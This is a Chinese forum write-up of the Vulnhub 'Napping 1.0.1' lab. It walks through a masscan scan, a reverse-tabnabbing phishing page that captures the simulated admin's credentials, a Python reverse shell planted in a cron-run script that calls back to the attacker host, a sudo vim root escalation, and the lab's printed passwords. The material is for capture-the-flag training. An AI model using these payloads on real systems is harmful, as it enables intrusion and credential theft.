Happiness 发表于 2024-1-15 11:45:55

Vulnhub 靶机篇:Napping: 1.0.1

本帖最后由 Happiness 于 2024-1-15 11:45 编辑

0x01 靶机信息

[*]名称:Napping: 1.0.1
[*]发布日期:2021 年 10 月 22 日
[*]作者:hadrian3689
[*]系列:Napping
[*]难度:中等
[*]简介:即使是管理员也会在工作中睡着
[*]下载链接:https://www.vulnhub.com/entry/napping-101,752/
[*]MD5:D2CDF58FACB576407CF564064E8D554D
[*]网络:DHCP自动分配

0x02 Write-Up 2.1 主机探测工具:netdiscovernetdiscover -r 192.168.181.0/24发现目标服务器 192.168.181.138

2.2 masscan扫描端口信息iptables -A INPUT -p tcp --dport 61000 -j ACCEPT
开放61000端口以便目标服务器返回数据包
masscan 192.168.181.138 -p0-65535 --rate=1000000 --banners--source-port 61000
-p端口,rate=1000000(1M)速度,--banners 返回banners信息,--source-port指定返回的端口发现了22和80端口

2.3 观察网站发现登录页面

注册用户user

主页面有提交博客链接的功能

Please submit your link so that we can get started. All links will be reviewed by our admin
请提交您的链接,以便我们开始。所有链接都将由我们的管理员审核上面说所有提交的链接都会被管理员审核,提交链接并查看前端代码



2.4 实现钓鱼攻击
上文前端代码中使用了a标签来打开一个新页面,而且target属性为\_blank,当你使用这个target属性会打开一个新的标签页,此时新页面window对象上的属性opener,它继承了前一个页面的window对象,因此,后一个页面就获得了前一个页面的控制权。而代码中没有添加任何限制属性,例如rel='noreferrer 或noopener'综上所述我们可以尝试tabnabbing钓鱼攻击。
2.4.1 准备钓鱼页面靶机模拟用户点击发送数据,因此这里只要准备恶意页面即可恶意页面 :fake.html<!DOCTYPE html>
<html>
<body>
      <script>
      window.opener.location = "http://192.168.181.136:4444";
      </script>
</body>
</html>2.4.2 用python3开启http服务将页面保存至server目录下并开启http服务python3 -m http.server 80

2.4.3 在kali上开启监听端口kali上开启4444端口接收数据nc -lvvp 4444

2.4.4 到网站提交钓鱼urlhttp://192.168.181.136/fake.html

等待管理员审核即可获取

%40这是url编码,解码是@获取到帐号daniel,密码C@ughtm3napping1232.5 ssh登录在网站登录失败了,尝试22端口的sshssh daniel@192.168.181.138


查看用户信息和组内文件id 查看用户信息
find / -group administrators -type f 2>/dev/null
/ 根目录开始-group 选择组-type 类型 f文件类型2错误显示丢入null
find / -group daniel -type f 2> /dev/null发现用户adrian有管理员组的权限,在adrian家目录下有个可执行脚本 query.py

到目录下发现有三个文件 query.py,sit_status.txt,user.txt目前user.txt没有权限

query.py会将网站访问状态写入site_status.txt,根据txt内容可以判断是一个定时执行的脚本

sudo -l
查看当前用户可执行的命令用户没有特殊权限,我们继续下一步利用脚本反弹shell,获取用户adrian的权限


2.6 利用定时脚本创建反弹shell将python反弹shell写入query.pyimport socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.181.136",5555));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty;
pty.spawn("/bin/bash")

在kali上开启5555端口监听nc -lvvp 5555

此用户可以不用密码执行root权限的vim

2.7 vim提权获取最终flag利用vim提权sudo vim
:set shell=/bin/sh
:shell查看最终flag,root.txt


2.8 目标机程序解读查看刚才没有权限打开的user.txtYou are nearly there!
你很接近了这个文件说明我们做的是正确的

在/root目录下有三个脚本 del_links.py,del_users.py,nap.pydel_links.py 作用是清空links表import mysql.connector

mydb = mysql.connector.connect(
host="localhost",
user="adrian",
password="P@sswr0d456",
database="website"
)

mycursor = mydb.cursor()

mycursor.execute("TRUNCATE TABLE links")

mydb.close()del_users.py 清除users表import mysql.connector

mydb = mysql.connector.connect(
host="localhost",
user="adrian",
password="P@sswr0d456",
database="website"
)

mycursor = mydb.cursor()

mycursor.execute("TRUNCATE TABLE users")

mydb.close()nap.py 是用来输入账户密码到我们给的链接中import requests
import re
import mysql.connector

mydb = mysql.connector.connect(
host="localhost",
user="adrian",
password="P@sswr0d456",
database="website"
)

mycursor = mydb.cursor()

mycursor.execute("SELECT * FROM links")

myresult = mycursor.fetchall()

data = {
      "username":"daniel",
      "password":"C@ughtm3napping123"
      }

for x in myresult:
url1 = x

try:
    r1 = requests.get(url1,timeout=2)
    search = r1.text
    if (search.find('location.replace') != -1):
      match = re.findall("http(.*)\);",search)
      new_url = 'http' + match.rstrip(match[-1])
      r2 = requests.post(new_url,data=data,timeout=2)

    elif (search.find('opener.location') != -1):
      match = re.findall("http(.*);",search)
      new_url = 'http' + match.rstrip(match[-1])
      r2 = requests.post(new_url,data=data,timeout=2)

except requests.exceptions.ReadTimeout:
    continuecrontab -l 查看定时任务系统会定时执行这三个脚本

query.py是adrian的定时任务


页: [1]
查看完整版本: Vulnhub 靶机篇:Napping: 1.0.1